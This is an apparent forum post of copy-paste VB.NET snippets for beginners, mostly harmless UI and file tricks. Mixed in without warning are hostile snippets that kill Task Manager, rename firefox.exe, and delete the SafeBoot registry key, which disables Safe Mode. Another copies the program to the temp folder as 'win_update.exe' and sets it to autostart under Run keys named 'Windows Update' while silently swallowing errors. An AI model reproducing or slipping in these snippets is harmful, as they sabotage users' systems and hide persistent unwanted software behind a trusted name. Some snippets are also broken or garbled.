Useful Source Codes!
Here are some Usefull VB.NET source codes that you can include in your project!Hope you like them and remember to press THANKS if i helped :OOpen a Website
Code:
Process.Start("www.box.net")
Process.Start("www.myforum.net")
Code:
Shell("Notepad")
Shell("Calculator")
Code:
Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak(Textbox1.text)
Code:
For FadeIn = 0.0 To 1.1 Step 0.1 Me.Opacity = FadeIn Me.Refresh() Threading.Thread.Sleep(100) Next
Code:
For FadeOut = 90 To 10 Step -10 Me.Opacity = FadeOut / 100 Me.Refresh() Threading.Thread.Sleep(50) Next
Just Add a Notifyicon
Code:
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize If Me.WindowState = FormWindowState.Minimized Then Me.Hide() End If End Sub Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick If Me.WindowState = FormWindowState.Minimized Then Me.Show() Me.WindowState = FormWindowState.Normal End If End Sub
First Add your music to Resources
Note: The File Type Of The Music must be .wav
Double Click Button1 (start):
Code:
My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)
Code:
My.Computer.Audio.Stop()
Code:
Dim NOF As Integer Dim FilePath As String = TextBox1.Text NOF = System.IO.Directory.GetFiles(FilePath).Length TextBox2.Text =NOF.ToString
Add:
Process
Button
Double Click The Button and Write:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
msgbox("WTF :| ? are u searching for nothing o.0 ?)
Else
Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=")
Process1.Start()
End If
End Sub
Add:
1 Button
1 Textbox
Double Click the Button and write:
Code:
TextBox1.Text = Int(Rnd() * 4) Select Case TextBox1.Text Case 0 TextBox1.Text = "anything" Case 1 TextBox1.Text = "passgenerator" Case 2 TextBox1.Text = "CD key" Case 3 TextBox1.Text = "strings" End Select
Add:
1 button
Click The Button and write:
Code:
If TextBox1.Text = "CodeBreaker" _
And TextBox2.Text = "TheEndGamer" Then
MsgBox("Welcome to spam.net")
Else
MsgBox("Euuhh? do i know u :S ?")
End If
Add:
2 buttons
1 webbrowser
2 textboxes
Button1.text = Change Status
Button2.text = Add Friend
Double Click Button1 and write:
Code:
WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)
Code:
WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)
Before Public Class Form1
Add:
Code:
Imports System.IO Imports Microsoft.Win32
Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Add:
1 Button
1 PictureBox
Double Click Button1 and write:
Code:
Try OpenFileDialog1.Title = "Open Picture" OpenFileDialog1.FileName = ".jpg" OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog() PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName) Catch ex As Exception End Try
Credits Goes to Mondragon-KonideS--->PRESS THANKS IF I HELPED!








